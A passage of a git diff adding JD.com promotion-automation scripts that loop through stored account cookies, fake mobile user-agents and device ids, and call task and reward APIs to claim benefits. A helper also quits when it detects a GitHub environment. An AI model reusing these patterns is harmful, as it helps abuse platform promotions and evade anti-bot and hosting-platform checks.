console.log(`活动已结束\n`); + continue; + } + await main(); + await $.wait(2000); + console.log('\n') + } + } + } +})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}); + +function getData(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000) + resolve(); + }) +} + +async function main() { + $.mainTime = 0; + do { + $.runTime = 0; + do { + $.activity = {}; + $.dailyTaskList = [] + $.moduleBaseInfo = {} + await getActivity(); + await $.wait(2000); + if(JSON.stringify($.activity) === '{}'){ + console.log(`获取列表失败:${activityID},重新获取`); + } + $.runTime++; + await $.wait(2000); + }while (JSON.stringify($.activity) === '{}' && $.runTime < 10); + console.log(`任务列表:${activityID},获取成功`); + $.moduleBaseInfo = $.activity.moduleBaseInfo; + $.dailyTaskList = $.activity.dailyTask.taskList; + if($.moduleBaseInfo.rewardStatus === 1){ + console.log(`领取最后奖励`); + await getReward(); + } + await $.wait(1000); + $.runFlag = false; + for (let i = 0; i < $.dailyTaskList.length; i++) { + $.oneTask = $.dailyTaskList[i]; + if($.oneTask.taskCount === $.oneTask.finishCount){ + console.log(`groupType:${$.oneTask.groupType},已完成`); + continue; + } + console.log(`groupType:${$.oneTask.groupType},已完成:${$.oneTask.finishCount}次,需要完成:${$.oneTask.taskCount}次`); + $.item = $.oneTask.item; + let viewTime = $.oneTask.viewTime || 3; + console.log(`浏览:${$.item.itemName},等待${viewTime}秒`); + await $.wait( viewTime* 1000); + await $.wait( 1000); + await doTask(); + $.runFlag = true; + break; + } + $.mainTime++; + }while ($.runFlag && $.mainTime < 40); +} + +async function getReward(){ + const url = `https://jdjoy.jd.com/module/task/v2/getReward`; + const method = `POST`; + const headers = { + 'Accept' : `application/json, text/plain, */*`, + 'Origin' : `https://prodev.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Cookie': $.cookie, + 'Content-Type' : `application/json;charset=utf-8`, + 'Host' : `jdjoy.jd.com`, + 'Connection' : `keep-alive`, + 'User-Agent' : $.UA, + 'Referer' : `https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html`, + 'Accept-Language' : `zh-cn` + }; + const body = `{"groupType":5,"configCode":"${$.moduleBaseInfo.configCode}","itemId":1,"eid":"${$.eid}","fp":"${$.fp}"}`; + + const myRequest = {url: url, method: method, headers: headers, body: body}; + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + console.log(data); + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function doTask(){ + const url = `https://jdjoy.jd.com/module/task/v2/doTask`; + const method = `POST`; + const headers = { + 'Accept' : `application/json, text/plain, */*`, + 'Origin' : `https://prodev.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Cookie': $.cookie, + 'Content-Type' : `application/json;charset=utf-8`, + 'Host' : `jdjoy.jd.com`, + 'Connection' : `keep-alive`, + 'User-Agent' : $.UA, + 'Referer' : `https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html`, + 'Accept-Language' : `zh-cn` + }; + const body = `{"groupType":${$.oneTask.groupType},"configCode":"${$.moduleBaseInfo.configCode}","itemId":"${$.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`; + + const myRequest = {url: url, method: method, headers: headers, body: body}; + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + console.log(data); + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function getActivity(){ + const url = `https://jdjoy.jd.com/module/task/v2/getActivity?configCode=${activityID}&eid=${$.eid}&fp=${$.fp}`; + const headers = { + 'Accept' : `application/json, text/plain, */*`, + 'content-type':'application/json;charset=utf-8', + 'Origin' : `https://prodev.m.jd.com`, + 'Cookie': $.cookie, + 'Accept-Encoding' : `gzip, deflate, br`, + 'User-Agent' : $.UA, + 'Referer' : `https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html`, + 'Host' : `jdjoy.jd.com`, + 'Accept-Language' : `zh-cn`, + 'Connection' : `keep-alive`, + }; + + const myRequest = {url: url, headers: headers,}; + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + data = JSON.parse(data); + if(data && data.data && data.data.moduleBaseInfo && data.data.dailyTask){ + $.activity = data.data; + } + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + + +async function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/3364463029;appBuild/167764;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_jr_draw.js b/jd_jr_draw.js new file mode 100644 index 0000000..901e9c9 --- /dev/null +++ b/jd_jr_draw.js @@ -0,0 +1,219 @@ +/* +京东金融 每周领取权益活动 +活动入口:京东金融APP首页-会员中心-生活特权 +目前已知领取一次 ,其他的未知。 +by:小手冰凉 tg:@chianPLA +交流群:https://t.me/jdPLA2 +脚本更新时间:2021-12-6 14:20 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +新手写脚本,难免有bug,能用且用。 +============Node=============== +[task_local] +#每周领取权益活动 +10 17 6 12 * jd jd_draw.js, tag=每周领取权益活动, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_jr_draw.png, enabled=true + +*/ + +const $ = new Env('京东金融每周领取权益活动'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + console.log("目前已知领取一次 ,其他的未知。"); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await queryNewRightsDetail(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function queryNewRightsDetail() { + return new Promise(resolve => { + $.get({ + url: `https://ms.jr.jd.com/gw/generic/hy/h5/m/queryNewRightsDetail?reqData=%7B%22appCode%22:%22jr-vip%22,%22version%22:%222.0%22,%22rid%22:%221007%22,%22drawEnv%22:%22H5%22%7D `, + headers: { + "Host": "ms.jr.jd.com", + "Connection": "keep-alive", + "Accept": "application/json", + "User-Agent": "Mozilla/5.0 (Linux; Android 10; HarmonyOS; WLZ-AN00; HMSCore 6.2.0.302) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.105 HuaweiBrowser/12.0.1.300 Mobile Safari/537.36", + "Origin": "https://m.jr.jd.com", + "Referer": "https://m.jr.jd.com/member/rights/index.html?utm_term=wxfriends&utm_source=iOS_url_1638418805663&utm_medium=jrappshare", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,th-CN;q=0.8,th;q=0.7,vi-CN;q=0.6,vi;q=0.5,en-US;q=0.4,en;q=0.3", + "cookie": cookie + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`queryNewRightsDetail API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + for (let v of data.resultData.data.subRightsList1) { + if (v.lifeRightsSubRightsOneMainTitle.indexOf('京豆') !== -1) { + await drawNewMemberRights1(v.rightsId); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function drawNewMemberRights1(rightsId) { + return new Promise(resolve => { + $.get({ + url: `https://ms.jr.jd.com/gw/generic/hy/h5/m/drawNewMemberRights1?reqData=%7B%22appCode%22:%22jr-vip%22,%22version%22:%222.0%22,%22rid%22:${rightsId},%22drawEnv%22:%22H5%22%7D`, + headers: { + "Host": "ms.jr.jd.com", + "Connection": "keep-alive", + "Accept": "application/json", + "User-Agent": "Mozilla/5.0 (Linux; Android 10; HarmonyOS; WLZ-AN00; HMSCore 6.2.0.302) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.105 HuaweiBrowser/12.0.1.300 Mobile Safari/537.36", + "Origin": "https://m.jr.jd.com", + "Referer": "https://m.jr.jd.com/member/rights/index.html?utm_term=wxfriends&utm_source=iOS_url_1638418805663&utm_medium=jrappshare", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,th-CN;q=0.8,th;q=0.7,vi-CN;q=0.6,vi;q=0.5,en-US;q=0.4,en;q=0.3", + "cookie": cookie + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`drawNewMemberRights1 API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + console.log(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://m.jingxi.com/user/info/GetJDUserBaseInfo?_=${Date.now()}&sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Host": "m.jingxi.com", + "Cookie": cookie, + "Referer": "https://st.jingxi.com/my/userinfo.html?sceneval=2&ptag=7205.12.4", + "User-Agent": `jdapp;android;10.1.3;10;${randomString(40)};network/wifi;model/WLZ-AN00;addressid/874716028;aid/550eca6b467ca4f3;oaid/00000000-0000-0000-0000-000000000000;osVer/29;appBuild/90017;partner/jingdong;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 10; WLZ-AN00 Build/HUAWEIWLZ-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045714 Mobile Safari/537.36`, + "deviceOS": "android", + "deviceOSVersion": 10, + "deviceName": "WeiXin" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + console.log("1"); + return; + } + if (data["retcode"] === 0) { + $.nickName = (data.nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function randomString(e) { + e = e || 32; + let t = "abcdefghijklmnopqrstuvwxyz0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +// prettier-ignore +function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && 